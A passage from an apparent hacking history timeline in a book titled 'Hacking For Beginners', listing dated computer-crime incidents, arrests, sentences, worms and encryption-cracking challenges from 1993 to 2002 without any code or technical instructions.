[1993 Jul 9] The first Def Con hacking conference takes place in Las Vegas. The conference is meant to be a one- time party to say good- bye to BBSs (now replaced by the Web), but the gathering is so popular it becomes an annual event.

[1993 Aug] Justin Petersen arrested for stealing computer access equipment.

[1993 Oct 28] Randal Schwartz uses Crack at Intel to crack passwords, later found guilty under an Oregon computer crime law, and sentenced.

[1993 Dec] FreeBSD version 1.0 is released.

[1994] Red Hat is founded.

[1994] Linux 1.0 is released.

[1994 Jan 12] Mark Abene ('Phiber Optik') starts his one year sentence. As a founding member of the Masters of Deception , Mark inspired thousands of teenagers around the country to "study" the internal workings of our nation's phone system. A federal judge attempted to "send a message" to other hackers by sentencing Mark to a year in federal prison, but the message got garbled: Hundreds of well-wishers attended a welcome- home party in Mark's honor at a Manhattan Club. Soon after, New York magazine dubbed him one of the city's 100 smartest people. Other MOD members: Elias Ladopoulos ('Acid Phreak'), Paul Stira ('Scorpion'), John Lee ('Corrupt'), Allen Wilson ('Wing'), 'The Seeker', 'HAC', 'Red Knight', 'Lord Micro' and Julio Fernandez ('Outlaw').

[1994 Mar 23] 16-year-old music student Richard Pryce ('Datastream Cowboy') is arrested and charged with breaking into hundreds of computers including those at the Griffiths Air Force base, NASA and the Korean Atomic Research Institute. The Times of London reported that knowing he was about to be arrested, Richard "curled up on the floor and cried." Pryce later pled guilty to 12 hacking offenses and fined $1,800. Later, Matthew Bevan ('Kuji'), mentor to Pryce was finally tracked down and arrested. The charges against Bevan were later dropped and now he works as a computer security consultant.

[1994 Jun 13] Vladimir Levin, a 23-year-old, led a Russian hacker group in the first publicly revealed international bank

robbery over a network. Stealing around 10 million dollars from Citibank , which claims to have recovered all but $400,000 of the money. Levin was later caught and sentenced to 3 years in prison.

[1994 Aug] Justin Petersen electronically steals $150k from Heller Financial.

[1994 Sep] Netcom's (bought by MindSpring, MindSpring then bought by Earthlink) credit card database was on- line and accessible to the unauthorized.
[1994 Dec 25] Kevin Mitnick (supposedly) cracks into Tsutomu Shimomura's computers. Mitnick was first suspected of hacking into Tsutomu's computers in 1994 but an unknown Israeli hacker (friend to Mitnick) was later suspected. The Israeli hacker was thought to be looking for the Oki cell phone disassembler written by Shimomura and wanted by Mitnick.
[1995 Jan 27] Kevin Mitnick cracks into the Well ; puts Shimomura's files and Netcom (bought by MindSpring, MindSpring then bought by Earthlink) credit card numbers there.
[1995 Feb] Ex-LOD member, Corey Lindsly ('Mark Tabas') was the major ringleader in a computer hacker organization, known as the 'Phonemasters', whose ultimate goal was to own the telecommunications infrastructure from coasttocoast. The group penetrated the systems of AT&T , British Telecom., GTE, MCI WorldCom, Sprint , Southwestern Bell and systems owned by state and federal governmental agencies, to include the National Crime Information Center (NCIC) computer. They broke into credit- reporting databases belonging to Equifax Inc. and TRW Inc. They entered Nexis/Lexis databases and systems of Dun & Bradstreet . They had access to portions of the national power grid, airtrafficcontrol systems and had hacked their way into a digital cache of unpublished phone numbers at theWhite House .
A federal court granted the FBI permission to use the first ever "data tap" to monitor the hacker's activities. These hackers organized their assaults on the computers through teleconferencing and utilized the encryption program PGP to hide the data which they traded with each other. On Sep. 16 1999 Corey Lindsly, age 32, of Portland, Oregon, was sentenced to forty-one months imprisonment and ordered to pay $10,000 to the victim corporations. Other 'Phonemasters' members: John Bosanac ('Gatsby') from San Diego, Calvin Cantrell ('Zibby') and Brian Jaynes both located in Dallas, Rudy Lombardi ('Bro') in Canada, Thomas Gurtler in Ohio. Calvin Cantrell, age 30, of Grand Prairie, Texas, was sentenced to two years imprisonment and ordered to pay $10,000 to the victim corporations. John Bosanac got 18 months.
[1995 Feb 15] Kevin Mitnick arrested and charged with obtaining unauthorized access to computers belonging to numerous computer software and computer operating systems manufacturers, cellular telephone manufacturers, Internet
Service Providers, and educational institutions; and stealing, copying, and misappropriating proprietary computer software from Motorola , Fujitsu , Nokia, Sun , Novell , and NEC. Mitnick was also in possession of 20,000 credit card

numbers.
[1995 Mar 18] SATAN (Security Administrator Tool for Analyzing Networks) security tool released to the Internet byDan Farmer and Wietse Venema . The release stirs huge debate about security auditing tools being given to the public.
[1995 May 5] Chris Lamprecht ('Minor Threat') becomes 1st person banned from Internet. Chris was sentenced for a number of crimes to which he pled guilty. The crimes involved the theft and sale of Southwestern Bell circuit boards. In the early 1990s Chris wrote a program called ToneLoc (Tone Locator), a phone dialing program modeled on the program Matthew Broderick used in the movie WarGames to find open modem lines in telephone exchanges.
[1995 Aug 16] French student Damien Doligez cracks 40-bit RC4 encryption. The challenge presented the encrypted data of a Netscape session, using the default exportable mode, 40-bit RC4 encryption. Doligez broke the code in eight days using 112 workstations.
[1995 Sep 11] 22-year-old Golle Cushing ('Alpha Bits') arrested for selling credit card and cell phone info.
[1995 Sep 17] Ian Goldberg and David Wagner broke the pseudo- random number generator of Netscape Navigator 1.1. They get the session key in a few hours on a single workstation.

[1995 Nov 15] On November 15, Christopher Pile becomes the first person to be jailed for writing and distributing a computer virus. Pile, who called himself the 'Black Baron', was sentenced to 18 months in jail.
[1996] The internet now has over 16 million hosts and is growing rapidly.
[1996] Icanet, a company that designed Internet sites for public schools, was threatened by an extortionist in Germany. The deal: If Icanet agreed to buy his computer security program for $30,000, the hacker would not devastate the company's computers. In April, Andy Hendrata, a 27-year-old Indonesian computer science student in Germany, was convicted of computer sabotage and attempted extortion. He received a one- year suspended sentence and was fined $1,500.
[1996] The U.S. General Accounting Office reports that hackers attempted to break into Defense Department computer files some 250,000 times in 1995 alone. About 65 percent of the attempts were successful, according to the report.
[1996 Mar 6] United Press International (UPI) reveals that a hacker called 'u4ea' and also known as 'el8ite', 'eliteone', 'el8' and 'b1ff' on- line has been threatening to crash systems at the Boston Herald newspaper and several Internet

Service providers in the Boston, Massachusetts area. Reports indicate that the hacker may have covertly entered up to 100 Internet sites and desytroyed files on many of them. An investigation is initiated by the NYPD Computer Crimes section.

[1996 Apr 4] According to prosecutors, 19-year-old Christopher Schanot of St. Louis, Missouri, hacked into national computer networks, military computers, and the TRW and Sprint credit reporting service.

[1996 Apr 5] 19-year-old Christopher Schanot ('N00gz') a St. Louis honor student indicted in Philadelphia for computer fraud, illegal wiretapping, unauthorized access to many corporate and government computers includingSouthwestern Bell, BELLCORE, Sprint , and SRI .

[1996 Apr 19] Hackers break into the NYPD’ s phone system and change the taped message that greeted callers. The new message said, "officers are too busy eating doughnuts and drinking coffee to answer the phones." It directed callers to dial 119 in an emergency.

[1996 Jul 5] First known Excel virus, called Laroux is found.

[1996 Jul 31] Tim Lloyd plants software time bomb at Omega Engineering in NJ; First federal computer sabotage case. The software time bomb destroyed the company's computer network and the global manufacturer's ability to manufacture in the summer of 1996. The attack caused the company $12 million in losses and cost 80 employees their jobs. Lloyd received 41 months in jail. He also was ordered to pay more than $2 million in restitution.

[1996 Aug 22] Eric Jenott , a Fort Bragg, NC paratrooper is accused of hacking U.S. Army systems and furnishing passwords to a citizen of communist China. Eric's attorney says the Fort Bragg soldier is just a computer hacker who tested the strength of a supposedly impenetrable computer system, found a weakness and then told his superiors about it. Eric was later cleared of the spy charges, but found guilty of damaging government property and computer fraud.

[1996 Sep] Johan Helsingius closes penet.fi. Penet.fi, the world's most popular anonymous remailer, was raided by the Finnish police in 1995 after the Church of Scientology complained that a penet.fi customer was posting the church's secrets on the Net. Helsingius closed the remailer after a Finnish court ruled he must reveal the customer's real e-mail address.

[1996 Sep 6] DoS attack against Panix.com, a New York- based ISP. An attacker used a single computer to send thousands of copies of a simple message that computers use to start a two-way dialog. The Panix machines receiving the messages had to allocate so much computer capacity to handle the dialogs that they used up their resources and were disabled.

[1996 Sep 25] Kevin Mitnick indicted for damaging computers at USC. Mitnick was charged with 14 counts of wire fraud, arising from his alleged theft of proprietary software from manufacturers. The charges also accuse him of damaging USC's computers and "stealing and compiling" numerous electronic files containing passwords.

[1997] AOHell is released, a freeware application that allows a burgeoning community of unskilled hackers -- or script kiddies -- to wreak havoc on America Online (AOL).

[1997 Jan 28] Ian Goldberg , a University of California-Berkeley graduate student, took on RSA Data Security's challenge and cracked the 40-bit code by linking together 250 idle workstations that allowed him to test 100 billion possible "keys" per hour. In three and a half hours Goldberg had decoded the message, which read, "This is why you should use a longer key."

[1997 Feb 5] Members of the Chaos Computer Club, the infamous hacking elite of Germany, demonstrated an ActiveX hacking program that allowed them to access copies of Quicken , the accounting software package from Intuit, and transfer money between bank accounts, without needing to enter the normal password security systems of Quicken.

[1997 Mar 10] Hacker named 'Jester' has the first federal charges brought against a juvenile for a computer crime. 'Jester' cuts off the FAA tower at Worcester Airport and sentenced to paying restitution to the telephone company and complete 250 hours of community service.

[1997 Apr 21] A hacker named 'Joka' managed to trick America Online to briefly shut down a site run by the Texas branch of the Ku Klux Klan, forcing the AOL to act, for security reasons, after it had declined to do so in response to widespread criticism that the site contains offensive material.

[1997 May 23] Carlos Felipe Salgado, Jr., 36, who used the on- line name 'Smak', allegedly inserted a sniffer program that gathered the credit information from a dozen companies selling products over the Internet. Carlos gathered 100,000 credit card numbers along with enough information to use them, said the FBI.

[1997 Jun] Netcom (bought by MindSpring, MindSpring then bought by Earthlink) voice-mail hacked by 'Mr Nobody'. The 15-year-old intruder claimed he has been inside Netcom's voice-mail for two years. There, he cracked into numerous Mailboxes via his telephone key pad and used the system to break into third-party telephone switches to make longdistance calls.

[1997 Oct 31] Eugene Kashpureff arrested for redirecting the NSI web page to his Alternic web site. Kashpureff designed a corruption of the software system that allows Internet- linked computers to communicate with each other. By exploiting a weakness in that software, Kashpureff hijacked Internet users attempting to reach the web site for InterNIC, his chief commercial competitor, to his AlterNIC web site, impeding those users' ability to register web site domain names or to review InterNIC's popular "electronic directory" for existing domain names.

[1997 Dec] Julio Ardita ('El Griton') a 21 year old Argentinean was sentenced to a three- year probation for hacking into computer systems belonging to Harvard , NASA , Los Alamos National Laboratory and the Naval Command, Control and Ocean Surveillance Center.

[1997 Dec 8] www.yahoo.com is defaced by 'pantz' and 'h4gis'.

[1998] Two hackers, Hao Jinglong and Hao Jingwen (twin brothers) are sentenced to death by a court in China for breaking into a bank computer network and stealing 720,000 yuan ($87,000). The Yangzhou Intermediate People ’s Court in eastern Jiangsu province of China rejected an appeal of Hao Jingwen and upholding a death sentence against him. Jingwen and his brother, Hao Jinglong, hacked into the Industrial and Commercial Bank of China computers and shifted 720,000 yuan ($87,000) into accounts they had set up under phoney names. In September of 1998, they withdrew 260,000 yuan ($31,400) of those funds. Hao Jinglong ’s original sentence to death was suspended in return for his testimony.

[1998 Jan 1] Mark Abene ('Phiber Optik'), a security expert, launched a command to check a client's password files—and ended up broadcasting the instruction to thousands of computers worldwide. Many of the computers obligingly sent him their password files. Abene explained that the command was the result of a misconfigured system, and that he had no intention of generating a flood of password files into his mailbox.

[1998 Jan 16] Tallahassee Freenet hacked. TFN was attacked by a person or persons whose intent was clearly to destroy all of the files on the system. Before the attacks were stopped by bringing the system offline, thousands of user

home directories, many system files, and all of the user spool mail had been deleted.

[1998 Feb 25] MIT Plasma & Fusion Center (PSFC) and DoD computers hacked by Ehud Tenebaum ('Analyzer'). The MIT computer was running an old version of Linux , the vulnerability which facilitated intrusion. After gaining access to an

account, the hackers took advantage of other security holes and installed a packet- sniffer. The hackers were able to collect user names and passwords to computers outside the network.

[1998 Feb. 26] Solar Sunrise, a series of attacks targeting Pentagon computers, leads to the establishment of roundtheclock, online guard duty at major military computer sites.

[1998 Feb 27] The 56-bit DES- II-1 challenge by RSA Data Security was completed by a massively distributed array of computers coordinating their brute- force attacks via the distributed.net "organization." The cleartext message read, "Many hands make light work." The participants collectively examined 6.3 x 10^16 keys—fully 90 percent of the entire keyspace—in about 40 days.

[1998 Mar 3] Santa Rosa Internet Service Provider NetDex rehacked by Ehud Tenebaum ('Analyzer'), in retaliation over the arrest of his two U.S. hacker friends ('Cloverdale Two').

[1998 Mar 18] Ehud Tenebaum ('The Analyzer'), an Israeli teen-ager is arrested in Israel. During heightened tensions in the Persian Gulf, hackers touch off a string of break- ins to unclassified Pentagon computers and steal software programs. Officials suspect him of working in concert with American teens to break into Pentagon computers. Then-U.S. Deputy Defense Secretary John Hamre calls it "the most organized and systematic attack" on U.S. military systems to date. An investigation points to two American teens. A 19-year-old Israeli hacker who calls himself 'The Analyzer' (Ehud Tenebaum) is eventually identified as their ringleader and arrested. Israeli Prime Minister Benjamin Netanyahu calls Tenebaum "damn good ... and very dangerous." The attacks exploited a well-known vulnerability in the Solaris operating system for which a patch had been available for months. Today Tenebaum is chief technology officer of a computer consulting firm.

[1998 Mar 20] Two teenagers hack T-Online, the online service run by Germany's national telephone company, and steal information about hundreds of bank accounts. The two 16-year-old hackers bragged about their exploits, calling Deutsche Telekom's security for the online service "absolutely primitive".

[1998 Apr] Shawn Hillis, 26, of Orlando, Florida, a former employee of NASA contractor Lockheed Martin Corp., pled guilty in Federal district court to using a NASA workstation at the Kennedy Space Center to gain unauthorized access to computer networks of several Orlando businesses.

[1998 Apr 20] An Alabama juvenile hacker launches an e-mail bomb attack consisting of 14,000 e-mail messages across a NASA network against another person using network systems in a commercial domain. The youth was later ordered to probationary conditions for 12 months.

[1998 Apr 22] The MoD criminal hacker group (Masters of Downloading, not to be confused with the 1980's group Masters of Deception) claimed to have broken into a number of military networks, including theDISN (Defense Information Systems Network); and the DEM (DISN Equipment Manager), which controls the military's global positioning satellites (GPSs).

[1998 May] Members from the Boston hacker group, L0pht (now @stake), testify before the U.S. Senate about Internet vulnerabilities.

[1998 May 30] A criminal hacker used the sheer size of AOL's technical support (6,000 people) to social engineer his way into the ACLU's web site. The attacker repeatedly phoned AOL until he found a support technician foolish enough to grant access to the targeted web site, which was wiped out as a result of the attack.

[1998 Jun 30] Former Coast Guard employee, Shakunla DeviSingla, entered a personnel database she had helped design. DeviSingla used her experience and a former co-worker ’ s password and other identification to delete data. Her action required 115 employees and 1800 hours to recover the deleted information

[1998 Jul 31] During Def Con 6 The Cult of the Dead Cow (cDc) release Back Orifice (BO), a tool for analyzing and

compromising Windows security.

[1998 Sep 13] Hackers deface The New York Times (www.nytimes.com) web site, renaming it HFG (Hacking for Girls). The hackers express anger at the arrest and imprisonment of Kevin Mitnick, the subject of the book 'Takedown ' coauthored by Times reporter John Markoff . In early November, two members of HFG told Forbes magazine that they initiated the attack because they were bored and couldn't agree on a video to watch.

[1998 Sep 17] Aaron Blosser a contract programmer and self-described "math geek" harnessed over 2,500 U S West computers by installing a program that would utilize their idle time to find very large prime numbers. Their combined computational power in theory surpassed that of most supercomputers. Blosser enlisted 2,585 computers to work at various times during the day and night and quickly ran up 10.63 years of computer processing time in his search for a new prime number. "I've worked on this (math) problem for a long time," said Blosser. "When I started working at U S West, all that computational power was just too tempting for me."

[1998 Oct 1] Hackers calling themselves the Electronic Disruption Theater allege the Pentagon used illegal offensive information warfare techniques (DDoS attack)- - a charge DoD officials deny- - to thwart the group's recent computer attack.
[1998 Nov] The 'Cloverdale Two' sentenced to 3 years probation, the two Cloverdale, California teens ('Makaveli' and 'Too Short') hacked dozens of computer systems, including ones run by the Pentagon . It was later discovered that the infamous Israeli hacker, Ehud Tenebaum ('Analyzer') was the mastermind and mentor to the teens.
[1999 Feb 1] Canadian teen charged in Smurf attack of Sympatico ISP. Smurf attacks are when a malicious Internet user fools hundreds or thousands of systems into sending traffic to one location, flooding the location with pings. The attack was eventually traced to the teen's home.
[1999 Feb 15] 15-year-old from Vienna hacks into Clemson University's system and tries breaking into NASA .
[1999 Mar 18] Jay Satiro, an 18-year-old high school dropout was charged with computer tampering after hacking into the internal computers of America Online and altering some programs. Jay pled guilty and was sentenced to one year in jail and five years without a home PC.
[1999 Mar 26] Melissa virus affects 100,000 email users and caused $80 million in damages; written by David Smith a 29-year-old New Jersey computer programmer. The virus known as Melissa, was named after a Florida stripper.
[1999 Apr] Ikenna Iffih, age 28, of Boston, Massachusetts, was charged with using his home computer to illegally gain access to a number of computers, including those controlled by NASA and an agency of the U.S. Department of Defense , where, among other things, he allegedly intercepted login names and passwords, and intentionally caused delays and damage in communications. On November 17, 2000, he was sentenced to 6 months home detention, placed on supervised release for 48 months, and ordered to pay $5,000 in restitution.
[1999 Apr 26] CIH virus released by Chen Ing-Hou, the creator of the CIH virus, that takes his initials. This was the first known virus to target the flash BIOS.
[1999 May] The Napster peer- to-peer MP3 file-sharing system, used mainly to copy and swap unencrypted files of songs for free, begins to gain popularity, primarily on college campuses where students have easy access to high-speed Internet connections. It was created by Northeastern University students Shawn Fanning and Sean Parker, age 19 and 20, respectively. Before being shut down on July 2, 2001, Napster, had attracted 85 million registered users downloading as many as 3 billion songs a month.
[1999 May 11] Whitehouse.gov defaced by Global Hell.

[1999 Jul 10] Back Orifice 2000 released at Def Con 7.
[1999 Aug 30] Microsoft Corporation shuts down its Hotmail operation for approximately two hours. The shut down
Hacking For Beginners – Manthan Desai 2010
w w w . h a c k i n g t e c h . c o . t v
Page 249
comes after receiving confirmed reports that hackers breached some of their servers by entering Hotmail accounts
through third-party Internet providers without using passwords.
[1999 Aug 19] ABC news web site defaced by United Loan Gunmen.
[1999 Sep 5] C-Span web site defaced by United Loan Gunmen.
[1999 Sep 13] Drudge Report web site defaced by United Loan Gunmen
[1999 Sep 23] Nasdaq and American Stock Exchange web sites defaced by United Loan Gunmen.
[1999 Nov] 15-year-old Norwegian, Jon Johansen , one of the three founding members of MoRE (Masters of Reverse
Engineering), the trio of programmers who created a huge stir in the DVD marketplace by releasing DeCSS , a program
used to crack the Content Scrambling System (CSS) encryption used to protect every DVD movie on the market. On
Jan. 24, 2000 authorities in Norway raid Johansen's house and take computer equipment.
2000s
[2000 Jan 15] 19-year-old Raphael Gray ('Curador') steals over 23,000 credit card numbers from 8 small companies.
Raphael styled himself as a "saint of e-commerce", as he hacked into U.S., British and Canadian companies during a
"crusade" to expose holes in Internet security and who used computer billionaire Bill Gates' credit card details to send
him Viagra.
[2000 Feb 7] 16-year-old Canadian hacker nicknamed 'Mafiaboy ', carried out his distributed denial-of-service (DDoS)
spree using attack tools available on the Internet that let him launch a remotely coordinated blitz of 1-gigabits- persecond
flood of IP packet requests from "zombie" servers which knocked Yahoo off- line for over 3 hours. After pleding guilty
'Mafiaboy' was sentenced on Sep. 12 2001 to eight months in a youth detention center.
[2000 Feb 9] Two days later the DDoS attacks continued, this time hitting eBay , Amazon , Buy.com, ZDNet , CNN,
E*Trade and MSN.
[2000 May] GAO (General Accounting Office) auditors were able to gain access to sensitive personal information from
the Department of Defense (DOD) through a file that was publicly available over the Internet. The auditors tapped into

this file without valid user authentication and gained access to employee's Social Security numbers, addresses and pay information.

[2000 May 15] Love Bug virus sent from Philippines; AMA computer college. Michael Buen & Onel de Guzman are suspected of writing the virus.

[2000 Jun 1] Qualcomm in San Diego hacked by University of Wisconsin-Madison student Jerome Heckenkamp ('MagicFX').

[2000 Jun 15] An Information Technology consultant breached the security of British internet service provider Redhotant to expose security lapses. He managed to obtain the names, addresses, passwords and credit card details of more than 24,000 people, including military scientists, government officials, and top company executives just to show it could be done. The hacker said breaching the site's security was "child's play".

[2000 Jul 18] AOL , based in Vienna, Virginia, confirmed that records for more than 500 so-called screen names of its customers had been hacked. Those records typically contain information such as a customer's name, address and the credit card number used to open the account.

[2000 Jul 7] Utilities firm Powergen located in the UK was forced to ask thousands of its customers to cancel credit cards after a web site blunder left a database of card details exposed.

[2000 Jul 24] Andrew Miffleton ('Daphtpunk'), age 25, of Arlington, Texas was sentenced in federal court to 21 months

imprisonment and ordered to pay a $3,000.00 fine. Miffleton associated himself with a group known as "the Darkside Hackers", who were interested in using unauthorized access devices to fraudulently obtain cellular telephone service through cloned cellular telephones or long distance telephone service through stolen calling card numbers.

[2000 Aug 17] United States District Judge Lewis Kaplan in New York bars Eric Corley ('Emmanuel Goldstein'), publisher of 2600 magazine , from republishing software hacks that circumvent DVD industry encryptions. The code would enable movies to be more readily copied and exchanged as data files on the Internet.

[2000 Sep 5] A 21-year-old New Rochelle, New York man was sentenced to four months in prison for breaking into two computers owned by NASA's Jet Propulsion Laboratory in 1998 and using one to host Internet chat rooms devoted to hacking, prosecutors said. Raymond Torricelli ('rolex') was a member of the hacking group '#conflict' which used their

computers to electronically alter the results of the annual MTV Movie Awards . Additionally, over 76,000 discrete passwords were found on Raymond's personal computer.

[2000 Sep 6] Patrick W. Gregory ('MostHateD'), age 20, pled guilty for his role as a founding member of a hacking ring called GlobalHell and is sentenced to 26 months imprisonment, three years supervised release, and was ordered to pay $154,529.86 in restitution. GlobalHell is said to have caused at least $1.5 million in damages to various U.S. corporations and government entities, including the White House and the U.S. Army . Gregory, a high school dropout who has said he wants to start his own computer security business, admits in a plea agreement to stealing telephone conferencing services from AT&T , MCI , and Latitude Communications and holding conference calls between 1997 and May 1999 with other hackers around the country.

[2000 Sep 26] Jason Diekman ('Shadow Knight', 'Dark Lord') arrested after Federal agents discovered evidence on Diekman ’ s computers indicating that he intercepted usernames and passwords from universities, including Harvard University. In a statement he made to investigators, Diekman admitted that he had hacked into "hundreds, maybe thousands" of computers, including systems at JPL, Stanford , Harvard , Cornell University, the California State University at Fullerton, and University of California campuses in Los Angeles and San Diego. On February 4, 2002, Diekman was sentenced to 21 months in federal prison, three years supervised release, restricted use of the computer and over $87,000 in restitution.

[2000 Oct] Microsoft admits that its corporate network has been hacked and source code for future Windows products has been seen. Hacker suspeted to be from St Petersburg.

[2000 Oct 10] FBI lure 2 Russian hackers to their arrest in Seattle, after it was determined that Alexei Ivanov, 20, and Vasiliy Gorshkov, 25, spent two years victimizing American businesses. The FBI established a bogus computer security firm that they named, fittingly enough, Invita. They leased office space in downtown Seattle and immediately called Ivanov in Russia about possible employment as a hacker. The FBI communicated with Gorshkov and Ivanov, by e-mail and telephone during the summer and fall of 2000. The men agreed to a face- to- face meeting and on Nov. 10, Gorshkov and Ivanov flew to Seattle and went directly to a two-hour "job interview" with undercover FBI agents who were posing as Invita staff. The Russians were asked to further demonstrate their hacking skills on an IBM Thinkpad provided by the agents. The hackers happily complied and communicated with their home server back in Chelyabinsk, unaware that the laptop they were using was running a "sniffer" program that recorded their every keystroke. The FBI agents' descriptions of the meeting portray Ivanov and Gorshkov as not only blissfully ignorant of their impending arrest, but also somewhat

cocky about their hacking skills. At one point in the meeting, as Gorshkov glibly detailed how he and Ivanov extorted money from a U.S. Internet service provider after hacking into its servers, he told the room of undercover agents that "the FBI could not get them in Russia."

[2000 Oct 28] After 9 million hack attempts security web site AntiOnline is defaced by Australian hacker 'ron1n' ('n1nor'). AntiOnline was deemed "unhackable" by the sites owner, John Vranesevich , but a poorly coded cgi script(s) written by Vranesevich led to the hack.

[2000 Nov 7] A 19-year-old Dutch hacker named 'Dimitri' broke in to Microsoft ’s internal web servers with intentions to show the company its vulnerability due to not installing their own patches.

[2000 Dec 13] More than 55,000 numbers were stolen from Creditcards.com, which processes credit transactions for online companies. About 25,000 of them were posted online when an extortion payment was not made.

[2000 Dec 24] Exigent International , a U.S. government contractor, acknowledged that one or more cyberthieves broke into a restricted federal computer system and stole the company's proprietary code for controlling satellite systems. The software, known as OS/COMET, allows ground- control personnel to communicate and send commands to satellites and rockets. The U.S. Air Force has plans to use the OS/COMET software to control the NAVSTAR Global Positioning System from its Colorado Springs Monitor Station, which is part of the Air Force Space Command.

[2001 Feb 1] Hackers invade World Economic Forum. The compromised data included credit card numbers, personal cell phone numbers and information concerning passports and travel arrangements for a number of government and business leaders. Among the notable victims whose personal information was pilfered were Microsoft chairman Bill Gates , Palestinian Authority chairman Yasser Arafat, U.N. Secretary-General Kofi Annan, former U.S. Secretary of State Madeline Albright and former Israeli Prime Minister Shimon Peres.

[2001 Feb 12] Anna Kournikova virus released by 20-year-old Dutchman Jan de Wit ('OnTheFly') who was later arrested and sentenced to 150 hours of community service.

[2001 Mar 1] FBI reports that 40 e-commerce sites located in 20 U.S. states were cracked by eastern Europe hackers, have stolen more than one million credit card numbers from U.S. e-commerce and banking websites.

[2001 Mar 7] Jesus Oquendo ('Sil'), age 27, of Queens, New York was convicted and sentenced to 27 months in

Manhattan federal court on charges of computer hacking and electronic eavesdropping of victim company Five Partners Asset Management LLC ("Five Partners"), a venture capital company based in Manhattan. Oquendo left the victim a taunting message on its network: "Hello, I have just hacked into your system. Have a nice day."

[2001 May 1] Chinese and U.S. hackers attack each other because of the U.S. spy plane that had to make an emergency landing in China after the U.S. plane collides with and kills Chinese fighter pilotWang Wei .

[2001 May 4] Gibson Security Research Corp came under attack (DDOS) and taken off- line by a 13-year-old hacker, at first due to a mistaken belief that Steve Gibson had called him a name, then simply because it was fun.

[2001 May 11] Solaris/IIS worm infects Solaris boxes up to version 7, and then scans for IIS machines susceptible to the folder traversal vulnerability and then replaces the default web page.

[2001 May 15] Hackers attack University of Washington and put file sharing program on its computers.

[2001 May 17] 'Fluffy Bunny' hacker group hacks Apache.org and SourceForge.net .

[2002 May 21] Max Butler ('Max Vision' and 'The Equalizer') was sentenced to 18 months in prison for launching an Internet worm that crawled through hundreds of military and defense contractor computers over a few days in 1998. Max Butler also lived three lives for five years. As 'Max Vision', he was an incredibly skilled hacker and security expert who boasted that he'd never met a computer system he couldn't crack. As 'The Equalizer', he was an FBI informant, reporting on the activities of other hackers. As Max Butler, he was a family man in Santa Clara, California who ran a Silicon Valley security firm. At Max Vision Network Security, he specialized in running "penetration tests," attempting to break into corporate networks to prove that their security wasn't as good as it could be.

[2001 Jun 9] Los Angeles Times newspaper reports that hackers attacked a computer system that controls much of the flow of electricity across California ’ s power grid for seventeen days or more during the state’ s worse days of the power crisis. According to the Times, the discover was ade on Friday, May 11 and that it was determined that attackes began as early as Wednesday, April 25. The attack appears to have primarily by an individual associated to China ’ s Guangdong province and routed through China Telecom. The 17-day intrusion into the networks running California's leading electric power grid has caused considerable concern among state and federal bureaucrats.

[2001 Jun 15] Christine Gunhus, the wife of an U.S. senator, pleads no contest to charges of using a pseudonym to send e-mail messages that disparaged her husband's Democratic rival.

[2001 Jun 20] U.S. security company ZixIt reported that a database holding details of customers' credit cards had been hacked.

[2001 Jul 12] Notorious hacker group World of Hell managed to deface 679 web sites in just one minute.
[2001 Jul 17] Code Red worm is released. The worm exploits vulnerabilities in theMicrosoft Internet Information Server IIS. The worm got its name from "Code Red" Mountain Dew which was used to stay awake by the hackers that disassembled the exploit.
[2001 Jul 16] 27-year old Russian programmer Dmitry Sklyarov arrested at Def Con 9 for creating a program to copy Adobe electronic books. He was charged with violating the 1998 Digital Millennium Copyright Act. Demitry was later released, as part of the agreement, Sklyarov will testify for the government in the case that remains against ElcomSoft , the company that sells the copying software.
[2001 Aug 21] Washington- based Riggs bank has its Visa customer database stolen by hackers.
[2001 Sep 18] Nimda worm (admin backwards) starts to spread, infecting Microsoft IIS servers that are open to known software vulnerabilities.
[2001 Nov 20] Hackers access Playboy.com's credit card data. The hacking group 'ingreslock 1524' claim responsibility.
[2001 Nov 20] 25 church web sites hacked by Hacking for Satan group.
[2001 Dec 8] Federal prosecutors accuse one time Los Alamos National Laboratory employee Jerome Heckenkamp of breaking into Qualcomm and other corporate computer systems while he was a student. Heckenkamp, they say called himself 'MagicFX'. When school police asked for the password for his personal computer. Court records say Heckenkamp chuckled when he gave it up. "Hackme," he told them. Jerome is also suspected of hacking into a halfdozen other companies, including eBay Inc. and E*Trade Inc., over a nine-month period.
[2001 Nov 26] 2 former Cisco accountants sentenced to 34 months for breaking into company computers and stealing stock.
[2002 Feb 25] A 17-year-old female hacker, from Belgium, calling herself 'Gigabyte' takes credit for writing the first-ever virus, called 'Sharpei', written in Microsoft's newest programming language C# (C sharp).
[2002 Jul 11] Hackers broke into USA Today's web site and replaced several of the newspaper's legitimate news stories with phony articles. Israeli hackers were suspeted.
[2002 Jul 25] Princeton University admissions officials gained unauthorized access to a web site at rival Yale University

containing personal information about applicants to the Ivy League school, according to officials at both institutions.
[2002 Jul 30] Copies of OpenSSH are trojaned. OpenSSH is a popular, free version of the SSH (Secure Shell)
communications suite and is used as a secure replacement for protocols such as Telnet, Rlogin, Rsh, and Ftp. The main
openBSD (ftp.openbsd.org) mirror was compromised, after developers noticed that the checksum of the package had
changed.
[2002 Aug 2] Italian police arrest 14 suspected hackers who are accused of thousands of computer intrusions, including
attacks on the U.S. Army and Navy and the National Aeronautics and Space Administration. They were all members of
two hacking groups, called Mentor and Reservoir Dogs .
[2002 Aug 17] Federal law enforcement authorities searched the computers of a San Diego security firm that used the
Internet to access government and military computers without authorization over the summer. Investigators from the
FBI,
the Army and NASA visited the offices of ForensicTec Solutions Inc. seeking details about how the company gained
access to computers at Fort Hood in Texas and at the Energy Department, NASA and other government facilities. The
searches began hours after it was reported that ForensicTec consultants used free software to identify vulnerable
computers and then peruse hundreds of confidential files containing military procedures, e-mail, Social Security numbers
and financial data, according to records maintained by the company. While ForensicTec officials said they wanted to help
the government and "get some positive exposure for themselves," authorities are pursuing the matter as a criminal case.

[2002 Aug 28] The Recording Industry Association of America's (RIAA) web site is defaced , and copyrighted mp3s are
uploaded to the server. The RIAA along with the Motion Picture Association of America (MPAA), has won many critics
online in its quest to shut down popular file- trading networks such as Napster .
[2002 Sep 20] Samir Rana ('Torner') a 21 year-old London hacker is arrested following a year- long investigation into the
creation of the Linux rootkit program called Tornkit and on suspicion of being a member of the infamous hacker group
Fluffy Bunny. It was later reporter that Rana owned the pink stuffed toy depicted in website defacements by Fluffy
Bunny.
[2002 Sep 23] A UK hacker received an 18-month prison sentence for corporate sabotage. Stephen Carey, a 28-year-old

computer engineer from Eastbourne, Sussex, is sentenced to 18 months for hacking into a firm's database and modifying information.

